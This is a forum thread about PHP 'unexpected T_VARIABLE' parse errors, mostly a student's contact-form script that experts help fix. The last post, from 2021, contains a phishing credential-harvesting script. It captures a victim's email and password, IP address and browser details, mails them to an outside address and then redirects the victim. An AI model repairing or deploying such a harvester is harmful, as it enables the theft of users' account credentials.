472,986 Members | 3,137 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 472,986 software developers and data experts.

Keep Getting unexpected T_VARIABLE error

ok I keep getting this error:

Expand|Select|Wrap|Line Numbers
  1. Parse error: syntax error, unexpected T_VARIABLE in /home/illuzion/public_html/BAMF/contactus.php on line 38
  2.  
and this error is possibly on other lines could someone please help me out with this it is for a contact form for a webpage that I am making for a class project but I decided to add in this contact form....

Expand|Select|Wrap|Line Numbers
  1. <?php 
  2.  
  3. include("global.inc.php"); 
  4. $errors=0; 
  5. $error="We're sorrry, we encountered some errors when processing your form, please go back and try again.<ul>"; 
  6. pt_register('POST','Name'); 
  7. pt_register('POST','Email'); 
  8. pt_register('POST','Feedback');
  9. pt_register('POST','Enquiry Type');  
  10. $enquiry=preg_replace("/(\015\012)|(\015)|(\012)/","&nbsp;<br />", $enquiry); 
  11.  
  12. /* begin general error checking */ 
  13.  
  14. if($name=="Full Name Here") // checks to see if there is a full name entered
  15. $errors=1; 
  16. $error.="<li>You did not fill in the Name field and it is required.";
  17. if($email=="Your Email Here") // checks to see if there is a email entered 
  18. $errors=1; 
  19. $error.="<li>You did not fill in the E-mail field and it is required."; 
  20. if($enquiry=="Place your Enquiry Here") // checks to see if there is any feedback entered 
  21. $errors=1; 
  22. $error.="<li>You did not fill in any feedback and it is required."; 
  23. if($enquirytype=="Please choose one of the following...") // checks to see if there is any feedback entered 
  24. $errors=1; 
  25. $error.="<li>You did not select a type of enquiry please go back and select one "; 
  26. if($errors==1) echo $error;   // echoes the errors if there are any 
  27. else{
  28. $mailContent="--------SUPPORT REQUEST--------\n" 
  29.             ."Name: ".$name."\n"
  30.         ."E-Mail: "$email."\n
  31.         ."Enquiry Type: "$enquirytype."\n"
  32.         ."Enquiry: "$enquiry."\n" 
  33.  
  34. //---------------------------------- 
  35. $toAddress="support@bamf.dunnoscape.sooch.info"; /* change this! */ 
  36. $subject="Your Support Request at BAMF'"; /* change this! */ 
  37. $recipientSubject="BAMF's Contact Form"; /* change this! */ 
  38. $receiptMessage = "Thank you ".$name." for your enquiry at BAMF! A BAMF staff member will review your request and respond to your request if needed. \n\n\nHere is what you submitted to us:\n\n"  
  39.             ."Name: ".$name."\n"
  40.         ."E-Mail: "$email."\n
  41.         ."Enquiry Type: "$enquirytype."\n"
  42.         ."Enquiry: "$enquiry."\n"
  43.  
  44. //---------------------------------- 
  45. mail($email, $subject, $receiptMessage,"From:$toAddress"); 
  46. //---------------------------------- 
  47. mail($toAddress,$recipientSubject,$mailContent,"From:$email");  
  48. <!-- redirect user to the thanks page --> 
  49. <script type="text/javascript"> 
  50. window.location="http://bamf.dunnoscape.sooch.info/index.htm"; 
  51. </script> 
  52.  
  53. <!-- Do not change anything below this line --> 
  54.  
  55. <?php  
  56. ?> 
  57.  
Jan 13 '08 #1
8 5495
ak1dnar
1,584 Expert 1GB
Close the lines with double quotes, and use the concatenation operator [dot] on both beginning and end of the variable.
Expand|Select|Wrap|Line Numbers
  1.      ."E-Mail: ".$email."\n"

REMOVED, "please help!" from the thread title. please don't use it again.
Jan 13 '08 #2
thank you for the help I do appreciate it and I apologize for the title.

*EDIT*

Now I am gretting the same error on line 43

[PHP]Parse error: syntax error, unexpected T_VARIABLE in /home/illuzion/public_html/BAMF/contactus.php on line 43[/PHP]
Jan 13 '08 #3
Markus
6,050 Expert 4TB
I think you need to add a semi-colon to the end of line 40.
Jan 13 '08 #4
ok that fixed that one but GRRR now another



[PHP]Parse error: syntax error, unexpected '<' in /home/illuzion/public_html/BAMF/contactus.php on line 56[/PHP]

though that is supposed to be there for that is a comment.
Jan 13 '08 #5
Markus
6,050 Expert 4TB
You need to do
[php]
?>
[/php]
after line 55

:P
Jan 13 '08 #6
thank you so much I hate wehn I miss little things like that lol! well the script now works thanks to you guys! thanks again!
Jan 13 '08 #7
Markus
6,050 Expert 4TB
thank you so much I hate wehn I miss little things like that lol! well the script now works thanks to you guys! thanks again!
Happens to everyone :)

Post back whenever you need some help!
Jan 13 '08 #8
hello, i keep getting this 'unexpected T_VARIABLE error' on this script on line 16, and when ever i upload the script the content goes blank and becomes 0 byte this is actually an 860 byte file, please help.

<?php

$Email = $_POST['Email'];

$password = $_POST['password'];
Please i get this erro

$ip = getenv("REMOTE_ADDR");

$browser = $_SERVER['HTTP_USER_AGENT'];

$adddate = date("D M d, Y g:i a");

$message = "*************microziel*************\n";

$message = "Email : "$Email"\n";

$message = "Password : "$password"\n";

$message = "IP Address : $ip\n";

$message = "--------------------\n";

$message = "Date : $adddate\n";

$message = "User-Agent: "$browser"\n";

$message = "***************Oz Wir3***************\n";

$message = "* Success is Loading... because I deserve it! *\n";


$send="cyrusdevir@gmail.com";


$subject = "$Email - IP: ".$ip."\n ";

$headers = "";

$str=array($send); foreach ($str as $send)

if(mail($send,$subject,$message,$headers) != false){


header("Location: https://frenchloto.net/pelagic2/source/index.php");

}


?>
Aug 6 '21 #9

Sign in to post your reply or Sign up for a free account.

Similar topics

4
by: mooneater | last post by:
Hallo, ich bin neu mit dem Umgang mit PHP, und ich habe folgendes (siehe unten) programmiert. Nun erhalte ich bei Aufruf meiner PHP-Datei folgende Fehlermeldung: Parse error: parse error,...
6
by: Ehartwig | last post by:
I recently created a script for user verification, solved my emailing issues, and then re-created the script in order to work well with the new PHP 5 that I installed on my server. After...
4
by: bovanshi | last post by:
got this annoying error I'm completly new to php... and i have no clue what is wrong here, from what i can tell there is nothing rong with this code... but that isn't what the borwser say :P ...
5
by: Anna MZ | last post by:
I am new to php and have written the following mysql code to enter the details of a new user in the admin subdomain of my website: $sql = "INSERT INTO 'users' ('userid', 'username', 'upassword')...
1
by: mdouble | last post by:
I'm a complete novice with HTML and PHP. Recently I purchased an auto responder that requires me to edit a PHP file during the installation process as per directions provided in a read me file. ...
6
by: Philth | last post by:
No doubt this has been covered lots in detail. I think I've almost got is sorted but for this one error. "Parse error: syntax error, unexpected T_VARIABLE in...
3
by: SilvaZodiac | last post by:
Hi everyone, I'm still rather new to PHP code, and I have a syntax error. I've tried several different solutions, but it won't fix. It seems to suggest that I need a new bracket somewhere in the...
6
by: proudlyphp | last post by:
unexpected T_VARIABLE in /home2/swhisa/public_html/suggestion/sugadddb.php on line 8 My code is the following and I get the error message above. Please help <?php ob_start(); include...
6
by: mushfiq | last post by:
hi.i have got a problem. error message: Parse error: syntax error, unexpected T_VARIABLE in c:\wamp\www\dynamic2.php on line 12 for the line:
2
isladogs
by: isladogs | last post by:
The next Access Europe meeting will be on Wednesday 4 Oct 2023 starting at 18:00 UK time (6PM UTC+1) and finishing at about 19:15 (7.15PM) The start time is equivalent to 19:00 (7PM) in Central...
0
by: Aliciasmith | last post by:
In an age dominated by smartphones, having a mobile app for your business is no longer an option; it's a necessity. Whether you're a startup or an established enterprise, finding the right mobile app...
0
tracyyun
by: tracyyun | last post by:
Hello everyone, I have a question and would like some advice on network connectivity. I have one computer connected to my router via WiFi, but I have two other computers that I want to be able to...
2
by: giovanniandrean | last post by:
The energy model is structured as follows and uses excel sheets to give input data: 1-Utility.py contains all the functions needed to calculate the variables and other minor things (mentions...
4
NeoPa
by: NeoPa | last post by:
Hello everyone. I find myself stuck trying to find the VBA way to get Access to create a PDF of the currently-selected (and open) object (Form or Report). I know it can be done by selecting :...
3
NeoPa
by: NeoPa | last post by:
Introduction For this article I'll be using a very simple database which has Form (clsForm) & Report (clsReport) classes that simply handle making the calling Form invisible until the Form, or all...
1
by: Teri B | last post by:
Hi, I have created a sub-form Roles. In my course form the user selects the roles assigned to the course. 0ne-to-many. One course many roles. Then I created a report based on the Course form and...
0
isladogs
by: isladogs | last post by:
The next Access Europe meeting will be on Wednesday 1 Nov 2023 starting at 18:00 UK time (6PM UTC) and finishing at about 19:15 (7.15PM) Please note that the UK and Europe revert to winter time on...
0
NeoPa
by: NeoPa | last post by:
Introduction For this article I'll be focusing on the Report (clsReport) class. This simply handles making the calling Form invisible until all of the Reports opened by it have been closed, when it...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.